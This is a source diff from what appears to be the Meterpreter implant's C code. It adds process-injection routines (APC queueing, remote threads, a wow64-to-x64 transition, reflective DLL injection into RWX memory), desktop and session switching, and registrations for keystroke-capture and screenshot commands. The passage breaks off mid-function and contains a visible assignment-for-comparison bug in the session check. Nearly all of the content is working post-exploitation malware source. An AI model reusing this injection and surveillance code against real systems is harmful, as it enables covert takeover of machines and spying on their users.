|
|
||||||
|
// Only proceed if we are targeting a thread in the target process
|
||||||
|
if( t.th32OwnerProcessID != dwProcessID )
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// Open a handle to this thread so we can do the apc injection
|
||||||
|
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
|
||||||
|
if( !hThread )
|
||||||
|
continue;
|
||||||
|
|
||||||
|
dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
|
||||||
|
|
||||||
|
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
|
||||||
|
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
|
||||||
|
if( SuspendThread( hThread ) != (DWORD)-1 )
|
||||||
|
{
|
||||||
|
list_push( thread_list, hThread );
|
||||||
|
|
||||||
|
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
|
||||||
|
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
|
||||||
|
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
|
||||||
|
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
|
||||||
|
{
|
||||||
|
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
CloseHandle( hThread );
|
||||||
|
}
|
||||||
|
|
||||||
|
// keep searching for more target threads to inject our apc stub into...
|
||||||
|
|
||||||
|
} while( Thread32Next( hThreadSnap, &t ) );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( dwResult == ERROR_SUCCESS && remote && response )
|
||||||
|
{
|
||||||
|
// We should only run this block if we are being used for migration...
|
||||||
|
|
||||||
|
// Send a successful response to let the ruby side know that we've pretty
|
||||||
|
// much successfully migrated and have reached the point of no return
|
||||||
|
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE );
|
||||||
|
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||||
|
|
||||||
|
// Sleep to give the remote side a chance to catch up...
|
||||||
|
Sleep( 2000 );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( thread_list )
|
||||||
|
{
|
||||||
|
// Resume all the threads which we queued our apc into as the remote
|
||||||
|
// client side will now be ready to handle the new ssl conenction.
|
||||||
|
while( TRUE )
|
||||||
|
{
|
||||||
|
HANDLE t = (HANDLE)list_pop( thread_list );
|
||||||
|
if( !t )
|
||||||
|
break;
|
||||||
|
ResumeThread( t );
|
||||||
|
CloseHandle( t );
|
||||||
|
}
|
||||||
|
|
||||||
|
list_destroy( thread_list );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( hThreadSnap )
|
||||||
|
CloseHandle( hThreadSnap );
|
||||||
|
|
||||||
|
if( hNtdll )
|
||||||
|
FreeLibrary( hNtdll );
|
||||||
|
|
||||||
|
SetLastError( dwResult );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
|
||||||
|
* enviroment into a native x64 enviroment and accessing the native win64 API's.
|
||||||
|
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
|
||||||
|
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
|
||||||
|
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
|
||||||
|
*/
|
||||||
|
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
EXECUTEX64 pExecuteX64 = NULL;
|
||||||
|
X64FUNCTION pX64function = NULL;
|
||||||
|
WOW64CONTEXT * ctx = NULL;
|
||||||
|
OSVERSIONINFO os = {0};
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||||
|
|
||||||
|
if( !GetVersionEx( &os ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )
|
||||||
|
|
||||||
|
// filter out Windows 2003
|
||||||
|
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
||||||
|
{
|
||||||
|
SetLastError( ERROR_ACCESS_DENIED );
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
|
||||||
|
}
|
||||||
|
|
||||||
|
// alloc a RWX buffer in this process for the EXECUTEX64 function
|
||||||
|
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !pExecuteX64 )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
|
||||||
|
|
||||||
|
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
|
||||||
|
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !pX64function )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )
|
||||||
|
|
||||||
|
// copy over the wow64->x64 stub
|
||||||
|
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
|
||||||
|
|
||||||
|
// copy over the native x64 function
|
||||||
|
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
|
||||||
|
|
||||||
|
// set the context
|
||||||
|
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
|
||||||
|
|
||||||
|
ctx->h.hProcess = hProcess;
|
||||||
|
ctx->s.lpStartAddress = lpStartAddress;
|
||||||
|
ctx->p.lpParameter = lpParameter;
|
||||||
|
ctx->t.hThread = NULL;
|
||||||
|
|
||||||
|
dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
|
||||||
|
|
||||||
|
// Transition this wow64 process into native x64 and call pX64function( ctx )
|
||||||
|
// The native function will use the native Win64 API's to create a remote thread in the target process.
|
||||||
|
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
|
||||||
|
{
|
||||||
|
SetLastError( ERROR_ACCESS_DENIED );
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
|
||||||
|
}
|
||||||
|
|
||||||
|
if( !ctx->t.hThread )
|
||||||
|
{
|
||||||
|
SetLastError( ERROR_INVALID_HANDLE );
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
|
||||||
|
}
|
||||||
|
|
||||||
|
// Success! grab the new thread handle from of the context
|
||||||
|
*pThread = ctx->t.hThread;
|
||||||
|
|
||||||
|
dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( pExecuteX64 )
|
||||||
|
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
|
||||||
|
|
||||||
|
if( pX64function )
|
||||||
|
VirtualFree( pX64function, 0, MEM_DECOMMIT );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
|
||||||
|
*/
|
||||||
|
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
|
||||||
|
HANDLE hThread = NULL;
|
||||||
|
DWORD dwThreadId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
|
||||||
|
// fails, giving us a chance to try an alternative method or fail migration gracefully.
|
||||||
|
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
|
||||||
|
if( !hThread )
|
||||||
|
{
|
||||||
|
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
|
||||||
|
{
|
||||||
|
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
|
||||||
|
|
||||||
|
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
|
||||||
|
|
||||||
|
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if( remote && response )
|
||||||
|
{
|
||||||
|
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." );
|
||||||
|
// Send a successful response to let the ruby side know that we've pretty
|
||||||
|
// much successfully migrated and have reached the point of no return
|
||||||
|
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
|
||||||
|
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||||
|
|
||||||
|
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
|
||||||
|
// Sleep to give the remote side a chance to catch up...
|
||||||
|
Sleep( 2000 );
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
|
||||||
|
// Resume the injected thread...
|
||||||
|
if( ResumeThread( hThread ) == (DWORD)-1 )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hThread )
|
||||||
|
CloseHandle( hThread );
|
||||||
|
|
||||||
|
SetLastError( dwResult );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Inject a DLL image into a process via Reflective DLL Injection.
|
||||||
|
*
|
||||||
|
* Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
|
||||||
|
* an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
|
||||||
|
* in stdapi will handle this automatically.
|
||||||
|
*
|
||||||
|
* Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's
|
||||||
|
* in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset()
|
||||||
|
* will check for this and fail gracefully.
|
||||||
|
*
|
||||||
|
* Note: This function largely depreciates LoadRemoteLibraryR().
|
||||||
|
*/
|
||||||
|
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||||
|
LPVOID lpRemoteCommandLine = NULL;
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||||
|
LPVOID lpReflectiveLoader = NULL;
|
||||||
|
DWORD dwReflectiveLoaderOffset = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !lpDllBuffer || !dwDllLenght )
|
||||||
|
BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER );
|
||||||
|
|
||||||
|
// check if the library has a ReflectiveLoader...
|
||||||
|
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
|
||||||
|
if( !dwReflectiveLoaderOffset )
|
||||||
|
BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION );
|
||||||
|
|
||||||
|
hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
|
||||||
|
if( !hProcess )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
|
||||||
|
|
||||||
|
if( cpCommandLine )
|
||||||
|
{
|
||||||
|
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||||
|
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||||
|
if( !lpRemoteCommandLine )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );
|
||||||
|
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
|
||||||
|
}
|
||||||
|
|
||||||
|
// alloc memory (RWX) in the host process for the image...
|
||||||
|
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !lpRemoteLibraryBuffer )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
|
||||||
|
|
||||||
|
// write the image into the host process...
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
|
||||||
|
|
||||||
|
// add the offset to ReflectiveLoader() to the remote library address...
|
||||||
|
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
||||||
|
|
||||||
|
// First we try to inject by directly creating a remote thread in the target process
|
||||||
|
if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
|
||||||
|
{
|
||||||
|
dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
|
||||||
|
|
||||||
|
// If that fails we can try to migrate via a queued APC in the target process
|
||||||
|
if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
|
||||||
|
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
|
||||||
|
}
|
||||||
|
|
||||||
|
dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hProcess )
|
||||||
|
CloseHandle( hProcess );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
|
@ -0,0 +1,84 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _METERPRETER_BASE_INJECT_H
|
||||||
|
#define _METERPRETER_BASE_INJECT_H
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
|
||||||
|
#define PROCESS_ARCH_UNKNOWN 0
|
||||||
|
#define PROCESS_ARCH_X86 1
|
||||||
|
#define PROCESS_ARCH_X64 2
|
||||||
|
#define PROCESS_ARCH_IA64 3
|
||||||
|
|
||||||
|
// The three injection techniques currently supported.
|
||||||
|
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
|
||||||
|
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
|
||||||
|
#define MIGRATE_TECHNIQUE_APCQUEUE 2
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
// Definition of ntdll!NtQueueApcThread
|
||||||
|
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
|
||||||
|
|
||||||
|
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
|
||||||
|
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
|
||||||
|
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
// The context used for injection via migrate_via_apcthread
|
||||||
|
typedef struct _APCCONTEXT
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
LPVOID lpStartAddress;
|
||||||
|
BYTE bPadding1[8];
|
||||||
|
} s;
|
||||||
|
|
||||||
|
union
|
||||||
|
{
|
||||||
|
LPVOID lpParameter;
|
||||||
|
BYTE bPadding2[8];
|
||||||
|
} p;
|
||||||
|
|
||||||
|
BYTE bExecuted;
|
||||||
|
|
||||||
|
} APCCONTEXT, * LPAPCCONTEXT;
|
||||||
|
|
||||||
|
// The context used for injection via migrate_via_remotethread_wow64
|
||||||
|
typedef struct _WOW64CONTEXT
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
HANDLE hProcess;
|
||||||
|
BYTE bPadding2[8];
|
||||||
|
} h;
|
||||||
|
|
||||||
|
union
|
||||||
|
{
|
||||||
|
LPVOID lpStartAddress;
|
||||||
|
BYTE bPadding1[8];
|
||||||
|
} s;
|
||||||
|
|
||||||
|
union
|
||||||
|
{
|
||||||
|
LPVOID lpParameter;
|
||||||
|
BYTE bPadding2[8];
|
||||||
|
} p;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
HANDLE hThread;
|
||||||
|
BYTE bPadding2[8];
|
||||||
|
} t;
|
||||||
|
} WOW64CONTEXT, * LPWOW64CONTEXT;
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
|
||||||
|
|
||||||
|
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
|
||||||
|
|
||||||
|
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine );
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -252,7 +252,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||||
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
|
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get the request identifier if the packet has one.
|
// Get the request identifier if the packet has one.
|
||||||
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
|
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
|
||||||
if( result == ERROR_SUCCESS )
|
if( result == ERROR_SUCCESS )
|
||||||
|
|
|
@ -89,6 +89,53 @@ HANDLE core_update_thread_token(Remote *remote, HANDLE token)
|
||||||
return(token);
|
return(token);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations.
|
||||||
|
* We dont store the handles as it is more convienient to use string,s especially as we cant use the regular API
|
||||||
|
* to break out of sessions.
|
||||||
|
* Note: It is up to the caller to free any station/desktop name provided as internally we use strdup.
|
||||||
|
*/
|
||||||
|
VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName )
|
||||||
|
{
|
||||||
|
DWORD temp_session = -1;
|
||||||
|
char * temp_station = NULL;
|
||||||
|
char * temp_desktop = NULL;
|
||||||
|
|
||||||
|
lock_acquire( remote->lock );
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
temp_session = remote->dwCurrentSessionId;
|
||||||
|
// A session id of -1 resets the state back to the servers real session id
|
||||||
|
if( dwSessionID = -1 )
|
||||||
|
dwSessionID = remote->dwOrigSessionId;
|
||||||
|
// Assign the new session id
|
||||||
|
remote->dwCurrentSessionId = dwSessionID;
|
||||||
|
|
||||||
|
temp_station = remote->cpCurrentStationName;
|
||||||
|
// A NULL station resets the station back to the origional process window station
|
||||||
|
if( !cpStationName )
|
||||||
|
cpStationName = remote->cpOrigStationName;
|
||||||
|
// Assign the current window station name to use
|
||||||
|
remote->cpCurrentStationName = _strdup( cpStationName );
|
||||||
|
// free the memory for the old station name if its not one of the two active names
|
||||||
|
if( temp_station && temp_station != remote->cpOrigStationName && temp_station != remote->cpCurrentStationName )
|
||||||
|
free( temp_station );
|
||||||
|
|
||||||
|
temp_desktop = remote->cpCurrentDesktopName;
|
||||||
|
// A NULL station resets the desktop back to the origional process desktop
|
||||||
|
if( !cpDesktopName )
|
||||||
|
cpDesktopName = remote->cpOrigDesktopName;
|
||||||
|
// Assign the current window desktop name to use
|
||||||
|
remote->cpCurrentDesktopName = _strdup( cpDesktopName );
|
||||||
|
// free the memory for the old desktop name if its not one of the two active names
|
||||||
|
if( temp_desktop && temp_desktop != remote->cpOrigDesktopName && temp_desktop != remote->cpCurrentDesktopName )
|
||||||
|
free( temp_desktop );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
lock_release( remote->lock );
|
||||||
|
}
|
||||||
/*******************
|
/*******************
|
||||||
* Packet Routines *
|
* Packet Routines *
|
||||||
*******************/
|
*******************/
|
||||||
|
|
|
@ -203,4 +203,5 @@ LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
|
||||||
*/
|
*/
|
||||||
LINKAGE DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...);
|
LINKAGE DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...);
|
||||||
LINKAGE HANDLE core_update_thread_token(Remote *remote, HANDLE token);
|
LINKAGE HANDLE core_update_thread_token(Remote *remote, HANDLE token);
|
||||||
|
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -20,6 +20,13 @@ typedef struct _Remote
|
||||||
HANDLE hServerThread;
|
HANDLE hServerThread;
|
||||||
HANDLE hServerToken;
|
HANDLE hServerToken;
|
||||||
HANDLE hThreadToken;
|
HANDLE hThreadToken;
|
||||||
|
|
||||||
|
DWORD dwOrigSessionId;
|
||||||
|
DWORD dwCurrentSessionId;
|
||||||
|
char * cpOrigStationName;
|
||||||
|
char * cpCurrentStationName;
|
||||||
|
char * cpOrigDesktopName;
|
||||||
|
char * cpCurrentDesktopName;
|
||||||
} Remote;
|
} Remote;
|
||||||
|
|
||||||
Remote *remote_allocate(SOCKET fd);
|
Remote *remote_allocate(SOCKET fd);
|
||||||
|
|
|
@ -288,20 +288,32 @@ Command customCommands[] =
|
||||||
{ request_ui_get_idle_time, { 0 }, 0 },
|
{ request_ui_get_idle_time, { 0 }, 0 },
|
||||||
{ EMPTY_DISPATCH_HANDLER },
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
},
|
},
|
||||||
{ "stdapi_ui_grabdesktop",
|
|
||||||
{ request_ui_grabdesktop, { 0 }, 0 },
|
|
||||||
{ EMPTY_DISPATCH_HANDLER },
|
|
||||||
},
|
|
||||||
{ "stdapi_ui_start_keyscan",
|
{ "stdapi_ui_start_keyscan",
|
||||||
{ request_ui_start_keyscan, { 0 }, 0 },
|
{ request_ui_start_keyscan, { 0 }, 0 },
|
||||||
{ EMPTY_DISPATCH_HANDLER },
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
},
|
},
|
||||||
{ "stdapi_ui_stop_keyscan",
|
{ "stdapi_ui_stop_keyscan",
|
||||||
{ request_ui_stop_keyscan, { 0 }, 0 },
|
{ request_ui_stop_keyscan, { 0 }, 0 },
|
||||||
{ EMPTY_DISPATCH_HANDLER },
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
},
|
},
|
||||||
{ "stdapi_ui_get_keys",
|
{ "stdapi_ui_get_keys",
|
||||||
{ request_ui_get_keys, { 0 }, 0 },
|
{ request_ui_get_keys, { 0 }, 0 },
|
||||||
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
|
},
|
||||||
|
{ "stdapi_ui_desktop_enum",
|
||||||
|
{ request_ui_desktop_enum, { 0 }, 0 },
|
||||||
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
|
},
|
||||||
|
{ "stdapi_ui_desktop_get",
|
||||||
|
{ request_ui_desktop_get, { 0 }, 0 },
|
||||||
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
|
},
|
||||||
|
{ "stdapi_ui_desktop_set",
|
||||||
|
{ request_ui_desktop_set, { 0 }, 0 },
|
||||||
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
|
},
|
||||||
|
{ "stdapi_ui_desktop_screenshot",
|
||||||
|
{ request_ui_desktop_screenshot, { 0 }, 0 },
|
||||||
{ EMPTY_DISPATCH_HANDLER },
|
{ EMPTY_DISPATCH_HANDLER },
|
||||||
},
|
},
|
||||||
|
|
||||||
|
|
|
@ -471,6 +471,8 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
||||||
|
|
||||||
core_update_thread_token( remote, NULL );
|
core_update_thread_token( remote, NULL );
|
||||||
|
|
||||||
|
core_update_desktop( remote, -1, NULL, NULL );
|
||||||
|
|
||||||
if( !RevertToSelf() )
|
if( !RevertToSelf() )
|
||||||
dwResult = GetLastError();
|
dwResult = GetLastError();
|
||||||
|
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
#include "precomp.h"
|
#include "precomp.h"
|
||||||
#include "ps.h" // include the code for listing proceses
|
#include "ps.h" // include the code for listing proceses
|
||||||
|
#include "./../session.h"
|
||||||
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
|
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|
@ -92,6 +93,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
Tlv inMemoryData;
|
Tlv inMemoryData;
|
||||||
BOOL doInMemory = FALSE;
|
BOOL doInMemory = FALSE;
|
||||||
HANDLE token, pToken;
|
HANDLE token, pToken;
|
||||||
|
char * cpDesktop = NULL;
|
||||||
|
DWORD session = 0;
|
||||||
|
|
||||||
dprintf( "[PROCESS] request_sys_process_execute" );
|
dprintf( "[PROCESS] request_sys_process_execute" );
|
||||||
|
|
||||||
|
@ -111,20 +114,36 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// Get the execution arguments
|
// Get the execution arguments
|
||||||
arguments = packet_get_tlv_value_string(packet,
|
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
|
||||||
TLV_TYPE_PROCESS_ARGUMENTS);
|
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
|
||||||
path = packet_get_tlv_value_string(packet,
|
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
|
||||||
TLV_TYPE_PROCESS_PATH);
|
|
||||||
flags = packet_get_tlv_value_uint(packet,
|
|
||||||
TLV_TYPE_PROCESS_FLAGS);
|
|
||||||
|
|
||||||
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA,
|
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
|
||||||
&inMemoryData) == ERROR_SUCCESS)
|
|
||||||
{
|
{
|
||||||
doInMemory = TRUE;
|
doInMemory = TRUE;
|
||||||
createFlags |= CREATE_SUSPENDED;
|
createFlags |= CREATE_SUSPENDED;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if( flags & PROCESS_EXECUTE_FLAG_DESKTOP )
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
cpDesktop = (char *)malloc( 512 );
|
||||||
|
if( !cpDesktop )
|
||||||
|
break;
|
||||||
|
|
||||||
|
memset( cpDesktop, 0, 512 );
|
||||||
|
|
||||||
|
lock_acquire( remote->lock );
|
||||||
|
|
||||||
|
_snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName );
|
||||||
|
|
||||||
|
lock_release( remote->lock );
|
